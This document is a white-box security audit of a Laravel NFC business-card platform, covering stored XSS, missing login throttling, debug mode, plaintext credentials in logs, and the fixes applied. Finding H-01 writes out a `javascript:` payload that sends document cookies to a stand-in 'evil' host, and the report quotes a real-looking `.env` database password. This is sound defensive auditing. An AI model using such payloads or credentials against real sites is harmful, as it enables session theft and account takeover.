# Security Audit Report — TAPLY (NFC Digital Card Platform)

**Application:** Laravel 12 (Framework 12.59.0) NFC business-card / profile platform
**Audit type:** White-box source review (code, config, dependencies, migrations, views)
**Auditor role:** Senior Laravel Security Engineer / AppSec
**Date:** 2026-06-27
**Scope:** Entire repository at `/home/nurul/my_project/nfc` (application code + config + dependencies). Third-party `vendor/` code reviewed only where the app exposes it (Tyro packages, BaconQrCode).

---

## Executive Summary

TAPLY is a small, reasonably well-structured Laravel 12 app. Authentication, authorization (`canManage`/`RoleMiddleware`), route-model binding, validation, and CSRF/Eloquent usage are largely done correctly — there is **no SQL injection, no command injection, no raw SQL, and no obvious IDOR** in custom code. The dangerous surface is concentrated in **two stored-XSS vectors** (unvalidated `website` URLs and SVG image uploads), **missing brute-force protection on login**, **debug mode enabled**, and **plaintext credentials reaching logs**.

| Metric | Value |
|---|---|
| **Overall Security Score** | **62 / 100** |
| **Risk Level** | **Medium-High** |
| Critical findings | 0 |
| High findings | 4 |
| Medium findings | 8 |
| Low / Informational | 11 |

The score is held back primarily by the two stored-XSS issues and the production-readiness gaps (debug on, no login throttling, plaintext passwords in logs). None are remotely exploitable as a full RCE, but the XSS issues allow account/session compromise of anyone viewing a malicious public card.

### Top 10 Most Critical Issues

| # | Severity | Issue | File |
|---|---|---|---|
| 1 | High | Stored XSS via `website` field (`javascript:` URI, no scheme validation) | `NfcCardController.php:74`, `card/index.blade.php:141` |
| 2 | High | Stored XSS via uploaded SVG served from `/storage` (active content) | `NfcCardController.php:205-227` |
| 3 | High | No rate limiting / throttling on login & registration (brute force) | `routes/web.php:41-46` |
| 4 | High | `APP_DEBUG=true` — verbose error pages leak stack traces, env, queries | `.env:4` |
| 5 | Medium | Plaintext passwords written to log file (`MAIL_MAILER=log`, `LOG_LEVEL=debug`) | `PortalController.php:61`, `.env:21,50` |
| 6 | Medium | Missing security headers (CSP, X-Frame-Options, X-Content-Type-Options, HSTS) | bootstrap / middleware |
| 7 | Medium | Unbounded base64 image upload — no size cap, no real image validation (DoS) | `NfcCardController.php:77-80,205-227` |
| 8 | Medium | Overly broad `$fillable` (`role`, `is_active`, `company_id`, `is_published`) | `User.php:27`, `Profile.php:18` |
| 9 | Medium | Raw `{!! !!}` output in Tyro vendor views (latent XSS) | `vendor/tyro-dashboard/...` |
| 10 | Medium | Session cookie `secure` flag not enforced; no email verification on open registration | `config/session.php:172`, `User.php` |

### Quick Wins (fixable in < 1 hour)

1. Change `website` validation from `string` to `url` (or `active_url`) and block non-http(s) schemes. **(Fix #1)**
2. Remove `svg+xml` from the accepted upload regex. **(Fix #2)**
3. Add `->middleware('throttle:5,1')` to login/register POST routes. **(Fix #3)**
4. Set `APP_DEBUG=false` and `APP_ENV=production` for any non-local deploy; set `LOG_LEVEL=warning`. **(Fix #4)**
5. Add a global security-headers middleware. **(Fix #6)**
6. Add `max` lengths to the base64 image fields and decode-size guards. **(Fix #7)**
7. Stop emailing/flashing plaintext passwords; send a password-set link instead. **(Fix #5)**

### Recommended Priority Order

1. **#1, #2** — Stored XSS (immediate; remotely exploitable against any card viewer).
2. **#3** — Login throttling.
3. **#4, #5** — Debug mode + plaintext credentials in logs (deployment hygiene).
4. **#6, #7, #8** — Headers, upload limits, mass-assignment hardening.
5. **#9–#23** — Remaining medium/low items and dependency hygiene.

---

## Methodology & Coverage

| Area | Reviewed | Notes |
|---|---|---|
| Project structure | ✅ | Standard Laravel 12 skeleton |
| Composer deps & versions | ✅ | `composer.json` / `composer.lock` |
| npm deps | ✅ | `package.json` (no lockfile committed) |
| Routes | ✅ | `web.php`, `api.php`, `console.php` |
| Controllers | ✅ | 5 custom controllers |
| Models | ✅ | `User`, `Profile`, `Company`, child models |
| Middleware | ✅ | `RoleMiddleware` |
| Auth & authz | ✅ | `AuthController`, `canManage`, Tyro RBAC |
| Mail / queues / events | ✅ | `CredentialsDelivery` mailable |
| File upload / storage | ✅ | base64 image handling, public disk |
| Validation | ✅ | All controllers |
| Config | ✅ | session, filesystems, app, mail |
| Migrations & seeders | ✅ | 9 migrations, 2 seeders |
| Views (XSS) | ✅ | Blade escaping + `{!! !!}` audit |
| Secrets / `.env` / git | ✅ | `.gitignore`, `git ls-files` |
| Tests | ✅ | Only default example tests |
| SQLi / cmd / eval / raw SQL | ✅ | **None found** (grep-verified) |

---

## Detailed Findings

---

### [H-01] Stored XSS via unvalidated `website` URL (`javascript:` scheme)

- **Severity:** High
- **Category:** Cross-Site Scripting (Stored / DOM)
- **File:** `app/Http/Controllers/NfcCardController.php:74`; rendered in `resources/views/card/index.blade.php:141`
- **OWASP:** A03:2021 – Injection (XSS) | **CWE:** CWE-79
- **CVE:** N/A

**Description.** The `website` field is validated only as `['nullable', 'string', 'max:2048']` — **not** as a URL. It is later emitted into an anchor `href`:

```php
// NfcCardController.php:74
'website' => ['nullable', 'string', 'max:2048'],
```
```blade
{{-- card/index.blade.php:141 --}}
<a class="quick-action" href="{{ $profile->website }}" target="_blank" rel="noopener">
```

Blade's `{{ }}` HTML-escapes the value (so `"` becomes `&quot;`), which prevents attribute-breakout — **but it does not prevent a `javascript:` (or `data:`) URI inside an otherwise valid `href`.** A profile owner can set `website` to `javascript:fetch('//evil/'+document.cookie)`.

**Why it's a risk.** Any visitor (including admins/company managers previewing the card, and the general public for published cards) who clicks the "Web" button executes attacker-controlled JavaScript in the application's origin → session theft, CSRF-token exfiltration, account takeover of higher-privilege viewers.

**Attack scenario.** An attacker registers (open registration), edits their card, sets `website = javascript:...`, publishes it, and shares the public `/u/{slug}` link. A logged-in admin opens it to review/moderate, clicks "Web", and their session is hijacked.

**Recommended fix.** Validate as a URL and constrain the scheme; defensively re-check on output.

```php
// Validation
'website' => ['nullable', 'url:http,https', 'max:2048'],
```
Laravel 11/12 supports scheme-restricted `url:http,https`. Optionally add a guard helper for output:
```php
@php $safeWebsite = \Illuminate\Support\Str::startsWith($profile->website, ['http://','https://']) ? $profile->website : null; @endphp
@if ($safeWebsite)
  <a href="{{ $safeWebsite }}" target="_blank" rel="noopener noreferrer">…</a>
@endif
```
> Note: `socials.*.url` *is* validated with the `url` rule (`NfcCardController.php:92`), which rejects schemeless `javascript:` payloads — apply the same to `website`.

---

### [H-02] Stored XSS via uploaded SVG served from `/storage`

- **Severity:** High
- **Category:** Unrestricted File Upload → Stored XSS
- **File:** `app/Http/Controllers/NfcCardController.php:205-227`
- **OWASP:** A03:2021 (XSS) / A04:2021 (Insecure Design) | **CWE:** CWE-79, CWE-434
- **CVE:** N/A

**Description.** `applyImage()` accepts a base64 data-URI and writes it to the **public** disk (symlinked to `public/storage`, directly web-servable). The accepted MIME regex includes `svg+xml`:

```php
// NfcCardController.php:205
if (! preg_match('#^data:image/(png|jpe?g|webp|svg\+xml|gif);base64,(.+)$#', $payload, $m)) {
    return;
}
$ext = match ($m[1]) { /* ... */ 'svg+xml' => 'svg', /* ... */ };
// ...
Storage::disk('public')->put($path, $binary);   // → /storage/profile-photos/<uuid>.svg
```

SVG is an XML document that can contain `<script>` / `onload` handlers. The MIME type stored is also untrusted. When the file URL is opened **directly** in a browser (e.g. `https://app/storage/profile-photos/<uuid>.svg`), the script executes in the app's origin. Although `<img src>` rendering neutralizes SVG script, the file is reachable by direct navigation, and the same path is also base64-embedded into the downloadable vCard.

**Why it's a risk.** Persistent, same-origin script execution; can be combined with social engineering ("view full-size logo") to hit higher-privilege users.

**Attack scenario.** Attacker uploads a malicious SVG as their profile photo, then lures a victim to the raw `/storage/...svg` URL. JS runs with the victim's cookies.

**Recommended fix.**
1. **Drop SVG** from accepted types (recommended — raster only):
```php
if (! preg_match('#^data:image/(png|jpe?g|webp|gif);base64,(.+)$#', $payload, $m)) {
    return;
}
```
2. Re-encode/validate raster images server-side (e.g. Intervention Image) to strip embedded payloads.
3. Serve user uploads from a separate cookieless domain or force download headers (`Content-Disposition: attachment`, `Content-Security-Policy: sandbox`, `X-Content-Type-Options: nosniff`).
4. If SVG must be supported, sanitize with a dedicated sanitizer (e.g. `enshrined/svg-sanitize`) before storage.

---

### [H-03] No rate limiting on authentication endpoints (brute force / credential stuffing)

- **Severity:** High
- **Category:** Broken Authentication / Missing Throttling
- **File:** `routes/web.php:41-46` (login/register); compare `routes/web.php:16` which *does* throttle public profile routes
- **OWASP:** A07:2021 – Identification & Authentication Failures | **CWE:** CWE-307
- **CVE:** N/A

**Description.** The public profile routes are throttled (`throttle:60,1`), but the **login and registration POST routes are not**:

```php
Route::middleware('guest')->group(function () {
    Route::post('/login',    [AuthController::class, 'login'])->name('login.attempt');   // no throttle
    Route::post('/register', [AuthController::class, 'register'])->name('register.attempt');
});
```

`AuthController::login` calls `Auth::attempt` directly with no lockout. There is no `RateLimiter` and no `attemptWhen`/lockout logic.

**Why it's a risk.** Unlimited password guessing against any known email (and emails are enumerable — the seeder/demo accounts use `password`). Enables credential stuffing and account takeover.

**Attack scenario.** Attacker scripts thousands of POSTs to `/card/login` against `admin@taply.test` until the password is found.

**Recommended fix.** Throttle by IP+email and add lockout:
```php
Route::middleware('guest')->group(function () {
    Route::post('/login',    [AuthController::class, 'login'])->middleware('throttle:5,1')->name('login.attempt');
    Route::post('/register', [AuthController::class, 'register'])->middleware('throttle:10,1')->name('register.attempt');
});
```
Better: use Laravel's `Illuminate\Cache\RateLimiter` keyed on `Str::lower($email).'|'.$request->ip()` and throw `ValidationException` with a "too many attempts" message after N failures (mirrors `Illuminate\Auth\Middleware\...` / Fortify's `LoginRateLimiter`).

---

### [H-04] Debug mode enabled (`APP_DEBUG=true`)

- **Severity:** High (if deployed) / Medium (local-only)
- **Category:** Security Misconfiguration / Sensitive Data Exposure
- **File:** `.env:4` (`APP_DEBUG=true`), `.env:2` (`APP_ENV=local`)
- **OWASP:** A05:2021 – Security Misconfiguration | **CWE:** CWE-489, CWE-215
- **CVE:** N/A

**Description.** With `APP_DEBUG=true`, any unhandled exception renders Ignition's detailed error page: full stack traces, source snippets, environment variables (including DB credentials), and executed SQL. `LOG_LEVEL=debug` (`.env:21`) compounds this.

**Why it's a risk.** If this configuration reaches a public/staging server, an attacker triggers an error (e.g. malformed input) and reads secrets directly.

**Recommended fix.** For any non-local environment:
```dotenv
APP_ENV=production
APP_DEBUG=false
LOG_LEVEL=warning
```
Add a deploy-time guard / CI check that fails if `APP_DEBUG=true` while `APP_ENV!=local`.

---

### [M-01] Plaintext passwords reach logs and session flash

- **Severity:** Medium (High on a real mail-misconfig)
- **Category:** Sensitive Data Exposure / Insecure Credential Handling
- **File:** `app/Http/Controllers/Company/PortalController.php:50-75`, `app/Mail/CredentialsDelivery.php`, `.env:50` (`MAIL_MAILER=log`)
- **OWASP:** A02:2021 – Cryptographic Failures / A09:2021 – Logging Failures | **CWE:** CWE-532, CWE-312
- **CVE:** N/A

**Description.** When a company manager adds an employee, a **plaintext** password is generated, emailed, and **flashed to the session** to display once:

```php
$plainPassword = Str::password(12, true, true, false);
// ...
Mail::send(new CredentialsDelivery(plainPassword: $plainPassword, ...));
return redirect()->route('portal.index')->with('new_credential', [ ... 'password' => $plainPassword ]);
```

With `MAIL_MAILER=log` (current `.env`), the **entire email body — including the plaintext password — is written to `storage/logs/laravel.log`**. Anyone with log access (ops, log shipping, a future LFI/log-exposure bug) recovers credentials.

**Why it's a risk.** Persistent plaintext secrets at rest in logs; passwords transmitted over email (often plaintext channel).

**Recommended fix.**
- Prefer a **one-time password-set / invitation link** (signed URL) instead of emailing a password.
- If a temporary password must be sent, never log it: ensure a real transactional mailer in production and scrub credentials from logs.
- Force a password change on first login (the email even says "Please change this password" — but nothing enforces it).

---

### [M-02] Missing HTTP security headers

- **Severity:** Medium
- **Category:** Security Misconfiguration
- **File:** No global header middleware (`bootstrap/app.php:15-19` registers only `role` alias)
- **OWASP:** A05:2021 | **CWE:** CWE-693, CWE-1021 (clickjacking)
- **CVE:** N/A

**Description.** No `Content-Security-Policy`, `X-Frame-Options`, `X-Content-Type-Options`, `Referrer-Policy`, `Strict-Transport-Security`, or `Permissions-Policy` are sent. A strong CSP would also significantly blunt H-01/H-02.

**Recommended fix.** Add a middleware applied to `web`:
```php
// app/Http/Middleware/SecurityHeaders.php
public function handle($request, Closure $next) {
    $response = $next($request);
    $response->headers->add([
        'X-Frame-Options'        => 'DENY',
        'X-Content-Type-Options' => 'nosniff',
        'Referrer-Policy'        => 'strict-origin-when-cross-origin',
        'Permissions-Policy'     => 'geolocation=(), microphone=(), camera=()',
        'Content-Security-Policy'=> "default-src 'self'; img-src 'self' data:; script-src 'self'; style-src 'self' 'unsafe-inline'; object-src 'none'; base-uri 'self'; frame-ancestors 'none'",
    ]);
    return $response;
}
```
Register in `bootstrap/app.php` via `$middleware->web(append: [SecurityHeaders::class])`. Add HSTS once HTTPS is enforced.

---

### [M-03] Unbounded / unverified image upload (DoS, type confusion)

- **Severity:** Medium
- **Category:** Insecure File Upload / Resource Exhaustion
- **File:** `app/Http/Controllers/NfcCardController.php:77-80, 201-227`
- **OWASP:** A04:2021 – Insecure Design | **CWE:** CWE-400, CWE-434, CWE-20
- **CVE:** N/A

**Description.** `profile_photo` / `company_logo` are validated only as `['nullable', 'string']` — **no `max` length**. A multi-MB base64 string is accepted, decoded, and written to disk. There is no verification that the decoded bytes are actually a valid image (only the data-URI prefix is checked), no dimension/size cap, and the column is `string(2048)` but the *payload* isn't bounded.

**Why it's a risk.** Attackers can exhaust disk and memory (PHP `base64_decode` of large input), and store arbitrary binary content under an image extension.

**Recommended fix.**
```php
'profile_photo' => ['nullable', 'string', 'max:4000000'], // ~3MB base64
```
Plus enforce a decoded-byte limit and validate real image content:
```php
$binary = base64_decode($m[2], true);
if ($binary === false || strlen($binary) > 2_000_000) return;
$info = @getimagesizefromstring($binary);
if ($info === false) return; // not a real raster image
```
Consider switching the editor to standard `multipart/form-data` uploads validated with `['image','mimes:png,jpg,jpeg,webp','max:2048']` instead of base64 JSON.

---

### [M-04] Overly broad mass-assignment surface

- **Severity:** Medium (latent — no current exploit path)
- **Category:** Mass Assignment
- **File:** `app/Models/User.php:27-34`, `app/Models/Profile.php:18-35`
- **OWASP:** A08:2021 / A04:2021 | **CWE:** CWE-915
- **CVE:** N/A

**Description.** `User::$fillable` includes `role`, `company_id`, `is_active`; `Profile::$fillable` includes `slug`, `user_id`, `is_published`, `published_at`. Today every controller builds explicit arrays (not `$request->all()`), so there is **no live exploit** — but the broad fillable is a footgun: any future `Model::create($request->validated())` or `->update($request->all())` would let a user escalate to admin, join another company, or self-publish/rename slugs.

**Why it's a risk.** Defense-in-depth; one careless refactor turns this into privilege escalation.

**Recommended fix.** Remove privilege-bearing columns from `$fillable` and set them explicitly via attribute assignment, or use `$guarded`/form-request `validated()` with curated keys. E.g. keep `role`, `is_active`, `company_id` out of `User::$fillable` and assign them in code only.

---

### [M-05] Raw output (`{!! !!}`) in Tyro vendor views

- **Severity:** Medium (depends on data provenance)
- **Category:** XSS (Stored/Reflected)
- **File:** `resources/views/vendor/tyro-dashboard/partials/admin-bar.blade.php:36` (`{!! $message !!}`), `.../partials/admin-sidebar.blade.php` & `user-sidebar.blade.php` (`{!! $item['icon'] !!}`), `.../resources/show.blade.php:68`, `examples/.../kpi-stats.blade.php`
- **OWASP:** A03:2021 | **CWE:** CWE-79
- **CVE:** N/A

**Description.** Multiple published Tyro views emit unescaped HTML. Icons are likely static config (lower risk), but `{!! $message !!}` in the admin bar and richtext output (`resources/show.blade.php`) render raw HTML. If any of these values become influenced by user-supplied data (resource records, custom messages), they are stored-XSS sinks. These are **vendor-published** templates now in your repo, so they are your responsibility to maintain.

**Recommended fix.** Audit each `{!! !!}` sink; ensure values are either developer-controlled constants or passed through a sanitizer (`Purifier`/`HTMLPurifier`). The richtext one already does `$sanitizedRichtext[$key] ?? e($item->$key)` — confirm `$sanitizedRichtext` is genuinely sanitized upstream.

---

### [M-06] Session cookie `secure` flag not enforced

- **Severity:** Medium (production)
- **Category:** Session Management
- **File:** `config/session.php:172` (`'secure' => env('SESSION_SECURE_COOKIE')` → null), `.env` (unset); `SESSION_ENCRYPT=false` (`.env:32`)
- **OWASP:** A05:2021 / A07:2021 | **CWE:** CWE-614, CWE-1004
- **CVE:** N/A

**Description.** `SESSION_SECURE_COOKIE` is unset, so the session cookie may be sent over plain HTTP, enabling interception. `http_only` is correctly `true` and `same_site=lax` (good). `SESSION_ENCRYPT=false` is acceptable for DB-driver sessions but consider `true` for defense-in-depth.

**Recommended fix.** In production:
```dotenv
SESSION_SECURE_COOKIE=true
```
Force HTTPS (`URL::forceScheme('https')` / load balancer redirect) and add HSTS.

---

### [M-07] No email verification on open self-registration

- **Severity:** Medium
- **Category:** Broken Authentication / Insecure Design
- **File:** `app/Http/Controllers/Auth/AuthController.php:68-87`, `app/Models/User.php:5` (`MustVerifyEmail` commented out)
- **OWASP:** A07:2021 | **CWE:** CWE-287
- **CVE:** N/A

**Description.** `/card/register` creates an active `Independent` user and logs them in immediately. Email ownership is never verified, enabling spam/abuse account creation and impersonation via crafted public cards.

**Recommended fix.** Implement `MustVerifyEmail` and gate card publishing behind a verified email; add CAPTCHA/throttling (see H-03) to slow automated signups.

---

### [M-08] No password reset / forced rotation flow

- **Severity:** Medium
- **Category:** Authentication Design
- **File:** `routes/web.php` (no `password.*` routes), `PortalController.php` (email says "change password" but nothing enforces it)
- **OWASP:** A07:2021 | **CWE:** CWE-620 (unverified password change absent), CWE-640 (no recovery)
- **CVE:** N/A

**Description.** There is no "forgot password" flow and no first-login password-change enforcement, despite emailing temporary passwords. Users with a leaked temp password keep it indefinitely; locked-out users have no self-service recovery.

**Recommended fix.** Add Laravel's password-reset scaffolding and a `must_change_password` flag enforced by middleware after credential delivery.

---

### Low / Informational Findings

| ID | Severity | Finding | File / Evidence | Recommendation |
|---|---|---|---|---|
| L-01 | Low | No `package-lock.json` / `yarn.lock` committed → non-reproducible, unpinned npm builds (supply-chain) | repo root | Commit a lockfile; run `npm audit` in CI |
| L-02 | Low | Demo seeder sets privileged accounts (`admin@taply.test`, company owner) to password `password` | `database/seeders/DemoProfileSeeder.php:23-69` | Never run this seeder in prod; use strong random passwords / env-driven secrets |
| L-03 | Low | Working `.env` contains a real-looking DB password `Password123#@!` and a committed-format `APP_KEY` | `.env:3,28` | Confirm `.env` stays out of git (it is, per `.gitignore`); rotate the password and `APP_KEY` if ever exposed |
| L-04 | Low | `.env.example` uses `sqlite` while `.env` uses `mysql` — config drift, onboarding error risk | `.env.example:23` vs `.env:23` | Keep example aligned with real driver expectations |
| L-05 | Low | Open redirect surface via `redirect()->intended()` | `AuthController.php:51` | Low risk (Laravel stores intended URL server-side); ensure no user-controlled `?redirect=` is wired in later |
| L-06 | Low | `social.*.url` rendered in `href` (`card/index.blade.php:199`) — relies solely on `url` rule | `NfcCardController.php:92` | Add `url:http,https` to be explicit and consistent with H-01 fix |
| L-07 | Low | vCard embeds on-disk photo by DB path (`PublicProfileController.php:143-158`) | path is app-generated UUID | Low traversal risk; keep paths app-generated only (never user-supplied) |
| L-08 | Low | Admins can deactivate/manage other admins (`canManage` returns true for any admin) | `User.php:79-81`, `PortalController.php:82` | Consider protecting the last/other admin accounts |
| L-09 | Info | CORS uses framework defaults (no `config/cors.php`) | — | Review explicitly before exposing a browser-consumed API |
| L-10 | Info | Only default example tests; **zero security test coverage** (no authz/XSS/throttle tests) | `tests/Feature/ExampleTest.php` | Add tests for `canManage`, role middleware, login throttling, upload validation |
| L-11 | Info | Third-party `hasinhayder/tyro*` packages from git source handle auth/RBAC/admin UI | `composer.lock` (tyro v1.6.0, dashboard v1.20.0, login v2.7.1) | Niche, lower-audited deps with raw-HTML views; track upstream advisories, pin versions, review on upgrade |

---

## Dependency Review

### Composer (`composer.json` / `composer.lock`)

| Package | Version | Assessment |
|---|---|---|
| `laravel/framework` | 12.59.0 | Current; no known open advisories at audit date |
| `laravel/sanctum` | ^4.0 | Current |
| `laravel/tinker` | ^2.10 | Dev/console tool — ensure not exposed in prod |
| `bacon/bacon-qr-code` | (lock) | Used for QR SVG; low risk |
| `hasinhayder/tyro` / `tyro-dashboard` / `tyro-login` | v1.6.0 / v1.20.0 / v2.7.1 | **Third-party RBAC/admin/2FA from git** — primary supply-chain concern; raw-HTML views (M-05); review on every upgrade |
| `symfony/*`, `guzzlehttp/*`, `monolog/*` | (lock) | Transitive; keep patched |

**No abandoned packages flagged** in `composer.lock`. **Action:** run `composer audit` regularly (it queries the FriendsOfPHP/packagist advisory DB) and enable Dependabot/Renovate.

### npm (`package.json`)

- Dev-only build toolchain (Vite 7, Tailwind 4, axios 1.11, concurrently). `axios ^1.11.0` is past the SSRF/credential-leak advisories of older 1.x. **No production JS bundle ships these as runtime libs.**
- **Issue (L-01):** no committed lockfile → builds are not reproducible and `npm audit` cannot be pinned.

---

## What Was Checked and Found Clean

These were specifically reviewed and showed **no issues** in custom code:

- **SQL Injection** — all queries use Eloquent/query-builder with bindings; `like "%{$search}%"` (`ProfilesController.php:25-28`) interpolates into the *bound value*, not raw SQL — safe. No `DB::raw`, `whereRaw`, `selectRaw` anywhere (grep-verified).
- **Command Injection / eval** — no `exec`, `system`, `shell_exec`, `proc_open`, `popen`, `eval`, `assert` in `app/` (grep-verified).
- **IDOR / authorization** — `authorizeTarget` + `canManage` (`NfcCardController.php:167-175`, `User.php:73-89`) and `RoleMiddleware` consistently enforce ownership/role; `PortalController::toggleActive` checks `canManage` + `!is(self)`; admin profile routes are behind `role:admin`. Route-model binding is paired with explicit authz.
- **CSRF** — Laravel's `web` middleware group provides CSRF protection; POST routes are within it; no `VerifyCsrfToken` exclusions found.
- **Path traversal** — stored image paths are app-generated UUIDs; no user-supplied filenames reach the filesystem.
- **SSRF** — no outbound HTTP from user-controlled URLs; QR encodes an internal route only.
- **Insecure deserialization** — no `unserialize()` of user input; mailable uses `SerializesModels` (safe internal queue serialization).
- **Slug handling** — route-constrained (`web.php:14`) and admin slug update is regex-validated + unique (`ProfilesController.php:57`).
- **vCard injection** — `vEscape()` (`PublicProfileController.php:166-177`) correctly escapes `\`, newlines, `,`, `;`.
- **Password hashing** — bcrypt via `Hash::make` + `'password' => 'hashed'` cast; `BCRYPT_ROUNDS=12` (good).

---

## Appendix: Fix Checklist

- [ ] **H-01** `website` → `url:http,https` validation
- [ ] **H-02** Remove SVG from upload regex; validate real image bytes
- [ ] **H-03** Add `throttle:5,1` to login, `throttle:10,1` to register
- [ ] **H-04** `APP_DEBUG=false`, `APP_ENV=production`, `LOG_LEVEL=warning` in prod
- [ ] **M-01** Stop logging/flashing plaintext passwords; use signed set-password links + real mailer
- [ ] **M-02** Add SecurityHeaders middleware (CSP, XFO, nosniff, Referrer-Policy)
- [ ] **M-03** Add `max` + decoded-size + `getimagesizefromstring` checks on uploads
- [ ] **M-04** Trim `$fillable` of `role`/`is_active`/`company_id`/`is_published`/`user_id`/`slug`
- [ ] **M-05** Audit Tyro `{!! !!}` sinks
- [ ] **M-06** `SESSION_SECURE_COOKIE=true` + force HTTPS in prod
- [ ] **M-07** Enable `MustVerifyEmail`
- [ ] **M-08** Add password reset + forced first-login change
- [ ] **L-01** Commit npm lockfile; add `composer audit` + `npm audit` to CI
- [ ] **L-02/L-03** Rotate demo/DB secrets; never seed demo data in prod
- [ ] **L-10** Add security regression tests (authz, throttle, upload, XSS)

---

## Remediation Status (applied during this engagement)

All changes below are committed to the working tree and verified by an automated
test suite (`tests/Feature/SecurityTest.php`, 7 passing tests, 14 assertions).

| ID | Status | What was changed | Files |
|---|---|---|---|
| H-01 | ✅ Fixed | `website` now validated `url:http,https` — blocks `javascript:`/`data:` URIs | `NfcCardController.php` |
| H-02 | ✅ Fixed | SVG removed from accepted uploads; decoded bytes verified via `getimagesizefromstring`; raster-only allow-list | `NfcCardController.php` |
| H-03 | ✅ Fixed | Route throttle (`5,1` login / `10,1` register) **and** per-email+IP `RateLimiter` lockout in controller | `routes/web.php`, `AuthController.php`, `lang/en/auth.php` |
| H-04 | ⚠️ Documented | Production posture (`APP_DEBUG=false`, `APP_ENV=production`, `LOG_LEVEL=warning`) documented in `.env.example`; local dev intentionally keeps debug on | `.env.example` |
| M-02 | ✅ Fixed | `SecurityHeaders` middleware added to `web` group (CSP, X-Frame-Options, nosniff, Referrer-Policy, Permissions-Policy, conditional HSTS) | `SecurityHeaders.php`, `bootstrap/app.php` |
| M-03 | ✅ Fixed | Base64 image fields bounded (`max:4000000` + 3 MB decoded cap) and content-type verified | `NfcCardController.php` |
| M-04 | ✅ Fixed | `role` removed from `User::$fillable`; `is_published`/`published_at` removed from `Profile::$fillable`; set explicitly in trusted paths | `User.php`, `Profile.php`, `AuthController.php`, `PortalController.php`, `DemoProfileSeeder.php` |
| M-06 | ⚠️ Documented | `SESSION_SECURE_COOKIE=true` guidance added (config was already env-driven) | `.env.example` |
| L-06 | ✅ Fixed | `socials.*.url` tightened to `url:http,https` | `NfcCardController.php` |
| L-10 | ✅ Fixed | Security regression test suite added (headers, mass-assignment, throttle, URL-scheme) | `tests/Feature/SecurityTest.php`, `ExampleTest.php` |

### Open items requiring a product/ops decision (not auto-applied)

| ID | Why deferred | Recommendation |
|---|---|---|
| M-01 | Plaintext temp-password display is a deliberate "show admin once" UX; the *log* leak stems from `MAIL_MAILER=log` (dev only). | In production use a real transactional mailer; consider switching to a signed set-password link + forced first-login change. |
| M-05 | `{!! !!}` sinks live in **vendor-published** Tyro views; values are largely static icon/config HTML. Editing vendor templates risks upgrade conflicts. | Audit each sink; sanitize any value that can become user-influenced. |
| M-07 | Enabling `MustVerifyEmail` changes the registration/login flow (currently auto-login on signup). | Implement email verification + gate card publishing behind a verified address. |
| M-08 | Password-reset + forced-rotation needs new routes/views matching the custom design. | Add Laravel password-reset scaffolding + `must_change_password` middleware. |
| L-01 | Generating a lockfile requires `npm install` (network). | Commit `package-lock.json`; add `composer audit` + `npm audit` to CI. |
| L-02/L-03 | Demo seeder passwords (`password`) are intentional for the documented demo logins. | Never run `DemoProfileSeeder` in production; rotate real DB creds/`APP_KEY` if ever exposed. |

---

*End of report.*
